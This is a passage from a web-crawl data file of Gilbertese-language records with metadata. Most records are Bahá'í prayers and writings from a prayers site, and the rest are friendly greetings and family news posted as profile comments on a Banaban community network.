O!\nKam aki ata bukina ngke Ti kariki ngkami ni kabane man te tano ae ti te arona? Bwa akea ae e na karietaata iaon temanna. Karaua n iangoia n taai nako i nanom bwa e kangara aron karikami. Ao ngkai Ti a tia ni kariki ngkami ni kabane man te tano ae ti te aekana e riai iroumi bwa kam na riki n ai aron te tamnei ae ti teuana, bwa kam na nakonako ni waae aika ti taboo, n amwarake n ti tewiina ao ni maeka n te aba ae ti te abana, bwa are man kabin nanomi, man aroaromi ao n ami beku bwa aonga ni kaoti kanikinaean te katiteuanaaki ao oin kamwawaan bwaai. Bon anne Au reirei bwa kam aonga ni karekea uaana ae e tabu man kain te mimitong ae e kamiimi.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180401690&to=gil","date":"2019-08-21T04:24:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315750.62\/warc\/CC-MAIN-20190821022901-20190821044901-00436.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":139,"character_repetition_ratio":0.076,"word_repetition_ratio":0.015,"special_characters_ratio":0.223,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE TAMNEI O!\nBwainakim Irou e rangi ni korakora, e aki kona ni mwanuokinaki. Au bwai n tituaraoi nakoim e rangi n takaburinako, e aki kona n rabunaki. Au tangira e a tia ni karaoa mwengana i nanom, e aki kona ni karabaaki. Au oota e teretere raoi nakoim, e aki kona ni maabubu.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180401210&to=gil","date":"2019-08-21T04:22:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315750.62\/warc\/CC-MAIN-20190821022901-20190821044901-00064.warc.gz","language":"gil","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000057220458984}","num_words":55,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.418,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nKo tatangira te koora ao I tangira inaomatam mai iai. Ko taku bwa ko a rangi ni kaubwai n rekena iroum, ao I kina kaubwaim ao katabuam mai iai. Ni maiu! Bon aio Au rabakau, ao anne bon am katautau; e na kangaa ni bootau Kawaiu ma kawaim?","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180401570&to=gil","date":"2019-08-21T02:04:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315695.36\/warc\/CC-MAIN-20190821001802-20190821023802-00451.warc.gz","language":"gil","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000079870224}","num_words":52,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI NATIN TE AKI TATABEAKIN!\nTai karekea tangiran te tautaeka n rabwata ao ko na aki kukurei iai. Ngkami ai aron te mannikiba ae e aki ataibwai are e anene i aon te mwaanga; n te tai ae waekoa e a roko naba te mate irouna ao e bwaka i aon te tano, te anene, rabwatana ao matan kunna a mauna nako, n ai akea mwiina. Ngaia are tarataraingkami, ngkami aika kam tangiri oin nanomi.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180403760&to=gil","date":"2019-08-21T02:04:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315695.36\/warc\/CC-MAIN-20190821001802-20190821023802-00514.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":76,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri moa nei koito.....ahahahaahhah a gkoe kouara moa makain am auti\nte kantaniga ba kam bon bane ni marurug raoi nai arora naba mai kai gaira mai kai\nkaga bon akea te rogorogo mai kai tiaki naron i kane kaga enag mati riki\nahahahaha...a gkoe tau ma tekeraoi te waki mai kane\nao riki tekeraoi ma am utu\nkoaga naba au kamauri nakon nei kataraine kee okkk\ntau ma tiabo n tofa mai kani......tia maga bon reitaki n reken am tai\nhey, sis cona sua keer,,,,,you told me to come over on monday but you people were not there.....\nnever mind that part of the capaign.....ahahhahaa\nuara butikau ane....koangana naba au kamauri ae moan te bati....\nirarikin naba ane tia kaitibo iaon te adress aio......firstname.lastname@example.org\nao koanganai naba ana email sakamoto ao ana photo.......\nkoraba ao etekeraoi.te store..","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/banabanvoice.ning.com\/profile\/DGlow","date":"2019-08-24T06:38:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027319915.98\/warc\/CC-MAIN-20190824063359-20190824085359-00555.warc.gz","language":"gil","language_score":0.9406003356,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9406003355979919, \"mrv_Latn_score\": 0.022577762603759766}","num_words":138,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":0.93,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri long time,\ne uara te makuri? ngai ae ia tia ni bung ao te baby boy...the 3rd boy in the fam...well, cant say much..ngkai ae i bon on leave naba ao akea te bae e karaoaki ti te tutuku ian te auti.\nanga ara kamauri nakoia kain am auti ao tia manga bon rereitaki rimwi...tia boo moa\nMauri nei rebe long time ao tia manga kaitibo e nang kanga te maiu aei..ao kam uara ao e uara tarawa? ikai bon arona naba ti makuri ae e iangoaki..ai ti 2wks more ao ia maternity leave...shshsh dont say it!! i know ti te ara naba ae te nurse without any knowledge on family planning..ha ha Anyway koa manga bon kakaongora mai ikanne ba kanga a ka2ongora riki rongo2n kiribati..ko kina Mwaraia Ririennang?\nMauri Sis,\nKam uara? Bon te inga te kamauri ao te katekeraoi n te Easter aio mai Tabwewa Meang nakoim ma am utu ao riki nakoia Aunty ma. A uara aunty ma a bon marurung ao maeka ia ngkai. Koa karokoa naba au kamauri irouiia.\nLove\nBro\nKo uara ngkai ma am utu ikanne i taku ba kam bon bane ni marurung,,,,i raman ngkai natimi iai riki te aine temanna irarikin nei Tiraoi ke tingaia.....hey tell me wot's happening there,e uara au bro anne e toki baebaen newena ngke ke...Anyways am o.k with hubby and am in Aussie.....tamnein natiu te kauoman aei n au page arana Nei Anika ao te karimoa arana Nei Moanatai iroun Tarome ma Biara i think you remember her.........well abit of introduction about me now your turn........My big kisses to all the kids and hope to hear from you soon......Loloma to everyone at home kee!!!! until then...........daume!!!! hehehehehehe\nNei KOITO Mauri,ko uara?long time eh?anywei not much from this side,still trying 2 contact the island but unsuccessful as usual.Well we'll just wait and pray.So howz u guys@ that side?and howz work and the children?and oh hows my fam's there?did u know that my dad's 1st wife is also around there with my 1\/2 sister Nei Temoua, they are neighbours 2 Naamai and them,,send my love to them too.Ok time to go now, i have to do pm shift today so,i'll hia from u soon and regards to Teke and ur children.NI SA MOCE MADA..","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/banabanvoice.ning.com\/profile\/AnginimaeaoRangaba","date":"2019-08-19T06:12:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027314667.60\/warc\/CC-MAIN-20190819052133-20190819074133-00185.warc.gz","language":"gil","language_score":0.9494063854,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9494063854217529}","num_words":375,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":0.934,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE TAMNEI O!\nTe bwai ae moan te tangiraki i Matau i buakon bwaai ni kabane bon te Motiraoi; tai tannako mai iai ngkana ko Tangirai, ao tai kaakeaa taekana bwa I aonga ni kaongoko. Ao n ana ibuobuoki ko na noraaba ni bon oin matam ao tiaki rinanon mataia tabemwaang, ao ko na ataibwai ni bon oin rabakaum ao tiaki rinanon rabakauia kaain rarikim. Iangoa aio i nanom; e na kanga arom ae riai. Ni koaua te motiraoi bon Au bwai n tangira nakoim ao kanikinaean au tangira n aakoi. Kateia ngkanne i matam.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180401030&to=gil","date":"2019-08-21T04:24:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315750.62\/warc\/CC-MAIN-20190821022901-20190821044901-00004.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":96,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Aunty,\nE nang baba Nei Tina saying no one wants to comment on your page anymore. E aki ataia ba ngai i nang kan comment nakoim ao riki au dad...hahaha. Anyway kam uara ma uncle ao kain ami auti? Ti tuai ni manga raun.E tau tia boo moa n c u later. Koa angania uncle ao au sis akanne au kamauri & to Joseph & Imo.\nNatim ae boboto riki nakoia natim aine akana n am auti...hehehe\nMauri tariu are te kabanea ni botonaine n te aonnaba. Ko boni kanganga ko roko naba n aia bwai ikawai. Shshshs!!! ao ngkoe Kam uara. Ti marurung raoi ikai. I kakaitibo ma tiantaake and she's doing well. Te kamauri nakoimi ni kabne","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/banabanvoice.ning.com\/profile\/BaeangKanimea","date":"2019-08-18T00:59:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313536.31\/warc\/CC-MAIN-20190818002820-20190818024820-00078.warc.gz","language":"gil","language_score":0.9997799993,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.999779999256134}","num_words":118,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nAu kabuanibwai ae korakora bon Au bwai n tituaraoi, tinanikuna bon te ai ao te karekekai, ma nanoaana bon te oota ao te nanoanga. Ienikuriiko nako iai bwa ko aonga n riki bwa te oota ae akea tokina ao te tamnei ae e aki maamate. Aio bon Au kaetieti nakoim, an ira nanona.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180401520&to=gil","date":"2019-08-21T04:19:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315750.62\/warc\/CC-MAIN-20190821022901-20190821044901-00094.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":57,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nIangoia ao katautaua. Bon nanom bwa ko na mate i aon am kainiwene, ke ni katuua raraam i aontano, ni maritire i nanon kawaiu, ao n riki bwa te tia kaotioti i bukin Au tua ao te tia katereterea Au oota i nanon te Baretaiti ae kabanean te rietaata? Motika nanom raoi, ngkoe te toro!","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180401470&to=gil","date":"2019-08-26T08:27:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027331228.13\/warc\/CC-MAIN-20190826064622-20190826090622-00436.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":59,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nAnga nako aoia au kainnano Au kaubwai, bwa ko aonga ni karekei man titoa aika aki tae tamaroaia ao kaubwaia aika a aki mamauna mimitongiia i karawa. Bwa ni Maiu! Te angarake tamneim bon te bwai ae mimitong riki ti ngkana ko kona n nooria ni Matau.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180401580&to=gil","date":"2019-08-26T08:30:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027331228.13\/warc\/CC-MAIN-20190826064622-20190826090622-00436.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hahhaha!!!! your name's familiar 2 me!!!!!! sori iasiba nora am comment man last year cauz i hardly check this web tao bukina kaga aitiaki raoi ngai kain Banaba hahahhaa.... ngke koa are te Queen man te marenaua hehehh... kai kee Mauri naba.\nRegards to your man(husband) ao ana brothers, tuagia are i'm old enough ao ia Fancy riki....\nNeiko anang tikiraoi am tamnei akanne.....koa bon kaina ikanne ke? Ao antai au koraki ikanne are ko taku? Koa email nakoiu ke n addrress aio email@example.com. Ngai I kona naba n online man te auti. Tia bo ao tekeraoi. Te inga ao te kamauri n nakoati.\nhi mauri and kiaora naa are how r u and the family aio nei raitinibure nee gai gkai i bon mena ikai new plymouth taraniki ai 4 gkai araririki ntiki ikai buu e bon makuri ikai aoai 2 natiu ok tekeraoi moa tewaki and lolomas 2 u all koamaga bon retiko maikane kana ko bon free ok aio au num 06-7510520 ke 0210319452 ok tofa moa\narau bon Betero tamau Ieete ao tinau Teangiraoi ma tibuu naba ten Toaia ae Moone ma imena iaon tarawa i kiribati ma e rangi ni bati n rarabwa riki te kaitiboo n website aio ma tii au bubuti bwa ngkana iai am gmail address ao koa taiaoka naba n send n nakou bwa angin au tai i kabongana te gmail n au mwakuri ao ni kakakibotu iai plze.ao bon iai naba au rongorongo nakoim ngkana ko mena irarin au anty ae Veronika ae mena naba ikanne kee.ma irangi ni kainanoa am gmail ngkana iai bwa e aonga n reitaki raoi te waaki ao teikikina naba tiabo ao tekeraoi ami waaki ikanne ma i manga ongora mai ikanne iroum kee\nai bon te kabwara bure ibukin rimwiin au reply to you ibukin angabuaka n au mwakuri te tai aika nako ma ai bon te kubanako ngke i a kauka au bwai now ao i a nora naba te ara ae nim iai Toaia ao te ara aio bon aran naba tibuu mai iroun tinau ae nei Teangiraoi ae buna ae ten Ieete.\nma taran am comment nakou aio ao titabo bwa au koraki ngkoe.\nngkana tao eti au keeti..,\nma au titiraki bwa online maia? bwa i aonga n ataia ao na kona n retaki raoi ma ngkoe.\nbwa ngai mai tarawa i kiribati\nibukiu ao arau bon Tannang.Ieete .Teangiraoi.\nma tingai ma mwaneu ikai ao tarariu ma mwaneu ake tabeman\na tiku i Bwanaba.\ntoki moa ikai ma i manga ongora mai iroum mai ikanne\nbwa ngkana eti au keeti ae au koraki ngkoe ao rimwi e na rangi ni ka kukurei\nte reitaki bwa i rangi ni kan reitaki ma au koraki ake a raroa mai irarikiu ao riki\nai mwaneu ma ai tariu nako aika raroanako\ngood bye\nmay god bless you\nand see u around here\nma ngkana tao iai am address n te gmail website\nplse add me iai bwa address firstname.lastname@example.org\nhey Sis, tried to contact you on that email address that you gave me but cant seem to get thru...dont know why?...but anyway, heres my email address whereby you can get hold of me < email@example.com >.....wats your home address ?\nKnow what ,so good to finally get hold of each other...the Lord is good!!!!\nOkay, I will hear from you soon ,take care and regards to your family and God bless!!!","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=1lqcfkzyigkxu","date":"2019-08-24T06:46:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027319915.98\/warc\/CC-MAIN-20190824063359-20190824085359-00238.warc.gz","language":"gil","language_score":0.9997759461,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9997759461402893}","num_words":560,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.22,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Am bwai te mimitong; Atuau! Ma ngke akea karawawata ake a uotaki ni Kawaim, ao e na kangaa iai ni kinaaki ake a Tangiraki ni koaua; ao ngke tao tiaki man taian kataitai ake a tabekaki i bukin Tangiram, ao e na kanga riki ni kaotaki iai ngkanne rineia ake a Mateakiniko? Korakoram bon au tia kakoaua! Raoiroia ake a Maamateakiniko ni kabane bon te rannimata ake a kawaanakoi, ao raun nanoia ake a Ukoukoriko bon korakain nanoia naake a ngirangiraia, ao kanaia naake a kaaraki ni kan kaaitibo ma Ngkoe bon taribin nanoia aika a uruaki.\nAi kangkangira irou katoongan maon te mate ae e taonai i nanon Kawaim, ao ai bonganara n au katautau aia kainiwai Am kariribai ngkana kaaitaraai i bukin karietataakin Am Taeka! Katauai Atuau bwa Nna nima te baere Ko a tia ni matennanoia i nanon Am Waaki ao karuoa i aou rinanon Am tangira bwaai ni kabane ake Ko a tia ni motiki taekaia. Ni Mimitongim! I tii tangira are Ko tangiria, ao I nabenabea are Ko nabenabeia. I a tia n taai nako ni katuka au mwioko ae e bwanin ao au onimaki Iroum.\nKateirakeaa, I Bubutiiko Atuau, bwa taan buoka te Kaotioti aio naake a na warekaki bwa a tau i bukin Aram ao Inaomatam n tautaeka, bwa a aonga n uringai i buakoia ake Ko a tia ni karikiia, ao a na irakei manuan Am tokanikai i Abam.\nKo konabwai ni karaoa are e Kakukureiko. Akea Te Atua bwa ti Ngkoe, te Buoka n te Nibwa ni mate, te Maiu i bon Irouna.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=90217040&to=gil","date":"2019-09-17T15:43:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573080.8\/warc\/CC-MAIN-20190917141045-20190917163045-00380.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":41,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":262,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.363,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tataro aikai e bae te aba iai n te koraki n ikotaki ma tabeua aika a kaonoti aroia n aron Tataron te Katoki Aoraki, Te Bába ni Koroboki nakon Ahmad, a tia ni uarokoaki iroun Bahá'u'lláh n rakan te mwaaka iai ao te kakaawaki, aoa riai ngkanne ni butimwaeaki n aroia anne ao n anaaki irouia taan onimaki ma te onimaki ae akea te titiraki iai ao te kakoaua raoi, bwa mai iai a na kona n rin i nanon te itoman ae e kaan riki ma te Atua, ao ni kariki aroia bwa a na bwanin riki ma Ana tua ao Ana koaua\n— Man te reta are e Koreaki ibukin Shoghi Effendi\nBoni Ngaia te Uea, te Atatai ni kabane, te Wanawana!\nAkea bwa e a anene Naitengkaren te Bwaretaiti i aon nako mwaangarengeren Kain te Aki Tootoki, n ee ni Kuuna aika a tabu ma n tangiraoi, ni kauekiia iai nakoia ake a koaua nanoia aaningin taeka aika a kakukurei ni uakaania te Atua, e a weeweteia taan onimakina te Katiteuanaaki n Atua nakon te o are iai Are E Tituaraoi iai, E a kaongoraiia naake a kamwawaaki te rongorongo are E a tia ni kakaotiotaki iroun te Atua, te Uea, te Mimitong, Akea n Aiarona, E a kairiia taan tatangira nakon kaintokan te rikia n tabu ao nakon te Tamaroa ae e kianako ootana.\nBon aio, ni koaua, te baere Katokin Kakannaton te Tamaroa, are E a Kaman tia n taekinaki i nanon aia Boki Taan Uarongorongo , bwa a buataki Irouna reken buuraroan te koaua man te kairua ao a na bane mamatan babaire tatabeua nako ni kataaki aroia. Boni Ngaia, ni koaua, Kain te Maiu are e bwebwe mai iai Ana uaa te Atua, te Neboaki, te Anginnano, te Kakannato.\nAhmad! Ko na kakakoauaa bwa boni Ngaia, ni koaua, te Atua ao akea te Atua bwa ti Ngaia, te Uea, te Tia Kakaawakin, Akea Kabotauana, te Konai Bwaai nako. Ao bwa iai Temanna are E a tia ni kanakomaia n te ara are Ali (Teuare E Tabu, Te Báb) bon Ngaia mai iroun te Atua n te koaua ao nakon Ana babaire ti a bane ni uarokoira iai.\nAni kangai: Aomata an ongotaeka n Ana Otenanti te Atua, ake a tia ni motikaki bukiia i nanon te Bayan iroun te Mimitong, Are te Wanawana. Boni Ngaia, ni koaua aia Uea Taan Uarongorongo ao Ana Boki bon Tinaia Booki, ai teraana ngke ko ataia.\nAi anne iai are E a aboka bwanaana ni wewete nakoim te Naitengkare man te umwanikaikain aio. Akea riki tabena iai bwa ti te nikira te rongorongo ae e teretere aio. Ane e taku n ana iango, ke e rairaki nako man te taeka n ibuobuoki aio ao ane e nano iai ke e kataua te kawai nakon ana Uea.\nNgkami aomata, Ngkana kam a kakewei kiibu aikai, ao ai koaua raa aika kam a tia iai n onimakina te Atua? Katerea, ngkami bobotakiia taan kewe.\nBon te akea, bwa i matan Teuare e mena Tamneiu i nanoni baina, a bon aki kona a na aki kona ni karaoa aio, ke Ngkana tao a ikotaki n ibuobuoki temanna ma temanna.\nAhmad! Tai mwanuokin Au tituaraoi ngkai akea Ngai. Uring Au Bong nako i nanon am bong nako ao Kainnanou ma Kanakoakiu nako mai abau ni mena i nanon te umwanikaikain ae e kakiro nako aio. Ao riiki ngkoe n rangi n teimatoa i nanon Au tangira bwa e aonga n aki tiotio nanom, a ngae ngke a bwaka ni karau i aom wiin aia kabaang taan kairiribai ao ni kabane karawa ma aonnaaba a teirake ni kaaitarako.\nRiiki ngkoe bwa kaanga te ura n ai nakoia Au kairiribai ao te karaanga n te maiu ae akea tokina nakoia ake Au tangira, ao tai riki n ai aroia naake a nanokokoraki.\nAo Ngkana tao ko a kauiaaki n te kangaanga i nanon Kawaiu, ke te katorotoroaki i Bukiu, ko na aki katabeko iai.\nOnimakina te Atua, ae Atuam ao aia Uea am bakatibu. Bwa a tiotio nako aomata i nanon kawain te burebureaki, ao ma ni bon akea irouia te matairiki n nora te Atua n oin mataia, ke n ongo tangiraoin Kunana n oin mataia, ke n oin taningaia. Ti a tia ni kuneiia n aron anne n ai aron naba are ko a tia ni kakoauaa.\nN aron anne a riki aia koaua aika akea aaia bwa te rabunanimata i marenaia ma oin nanoia ao tauakiia nako man kawain te Atua, te Karietataaki, te Kakannato.\nKo na ataia i nanom bwa n te koaua, teuare e rairaki nako man te Tamaroa aio e a tia naba iai n rairaki nako mai irouia Taan Uarongorongo ake ngkoa ao ni kaota te kainikatonga nakon te Atua man te aki tootoki ni kabane nakon te aki tootoki ni kabane.\nKamatenanoa raoi Te Bába ni Koroboki aio, Ahmad, Katakeia i nanon am bong nako ao tai tauraroako mai iai. Bwa n te koaua, E a tia te Atua ni motika kaniwangan are e katakenna n anaia maritire aika tebubua ao te beku n aonnaba ake uoua. Ti a tia n anganiko bwain akoi aikai bwa te bwai n tituaraoi ae te tibwa mai Iroura ao te ataataiaomata man ae iai Ngaira bwa ko aonga n raoniia ake a nano ni karabwarabwa.\nN aran te Atua! Ngkana iai temanna are e rekenako n te rainanoanga ke te rangi n nanokawaki ao e wareka Te Bába ni Koroboki aio ma ni kabanea nanona iai, ao te Atua E na bon kamaenakoa nanokaawakina ma n nikoi ana kangaanga ao ni kamwaawai rainanoanga.\nBon Ngaia, ni koaua, te Ataataiaomata ao te Nanoanga. E na neboaki te Atua ae te Uea i Aonaaba ni kabane.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=40301000&to=gil","date":"2019-09-20T15:09:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574039.24\/warc\/CC-MAIN-20190920134548-20190920160548-00015.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":954,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atuau! Ngkoe ae te Tia Kabwarai buure, te Tia Tituaraoi, ao te Tia Kabebetei naano.\nI a bubutii Nakoim ma te nanorinano bwa Ko na kabwarai bureia naake a tia ni mate rabwataia, ao tamneia a waerake nakon te maiu are akea tokina.\nTe Uea, kaitiakiia man taian bure, katoki raraomaia ao onea te ro ane irouia nakon te oota. Kariniia ni barongan te kukurei, kaitiakiia n te ran are moanibaan te itiaki, ao katauia bwa a na noora Mimitongim ike e moa n te Rietaata.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=170223060&to=gil","date":"2019-09-22T04:52:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575076.30\/warc\/CC-MAIN-20190922032904-20190922054904-00292.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":33,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":86,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te mare ni Baha'i bon te bonnano ao te iraorao imarenaia itera aika uoua. E ngae n anne ma a riai ni bwaina te rangi ni karaurau ao n riki n ikikinai anuaia i bon irouia. E riai te itoman ae e aki tootoki aio ni kamwaneauaaki n te boraraoi ae e nene, ao e riai n ae te kaantaninga bon te karikirakea te bonnano, te iraorao, ao te katiteuanaaki ao n roota te maiu ae akea tokina.\nBon te kainrou n te Bahá'í are te reita ae akea i aona ao kaotan raoi nanoia naaka uoman. Ao n aron anne, a riai ni kaota raoi nanoia ni koaua ma n atai nanoia ngaiia n tatabemaniia ao te berita are matoatoa are e karaoaki i marenaia e na riki bwa kabaeakiia n aki toki n iraorao ma n teimatoa n ti teuana n te maiu aei.\n—'Abdu'l-Bahá\nTe Berita ni Mare, n te kibu are e na atongaki irouia n tatabemaniia te tia mareaki te aine ao te tia mareaki te mwane i mataia taan kakoaua uoman ke n raka ake a kariaiakaki iroun te Botaki n Tamnei bon aio, are e riai man te Boki are Moan te Tabu (Kitáb-i-Aqdas) are e kaangai:\n\"TI NA BON MAMAEKA NI KOAUA N ARON NANON TE ATUA.\"","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=50204010&to=gil","date":"2019-09-20T04:14:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573827.2\/warc\/CC-MAIN-20190920030357-20190920052357-00035.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":215,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.488,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nKorei ni kabane ake Ti a tia ni kaotioti nakoim ni kanan te kai ni koroboki ae e oota i aon buatuan tamneim. Ngkana akea ni korakoram, ao karaoa ngkanne kanan am kai ni koroboki ma oin nanom. Ngkana ko aki kona ni karaoa naba aei, ao ani koroboki ni kanan te kai ni koroboki ae toka uraurana are e a tia ni kabwaroaki i nanon Kawaiu. E karewe riki aei Irou nakon bwaai ni kabane, bwa e aonga n oota ootana n aki toki.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60401720&to=gil","date":"2019-09-19T01:04:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573385.29\/warc\/CC-MAIN-20190918234431-20190919020431-00333.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 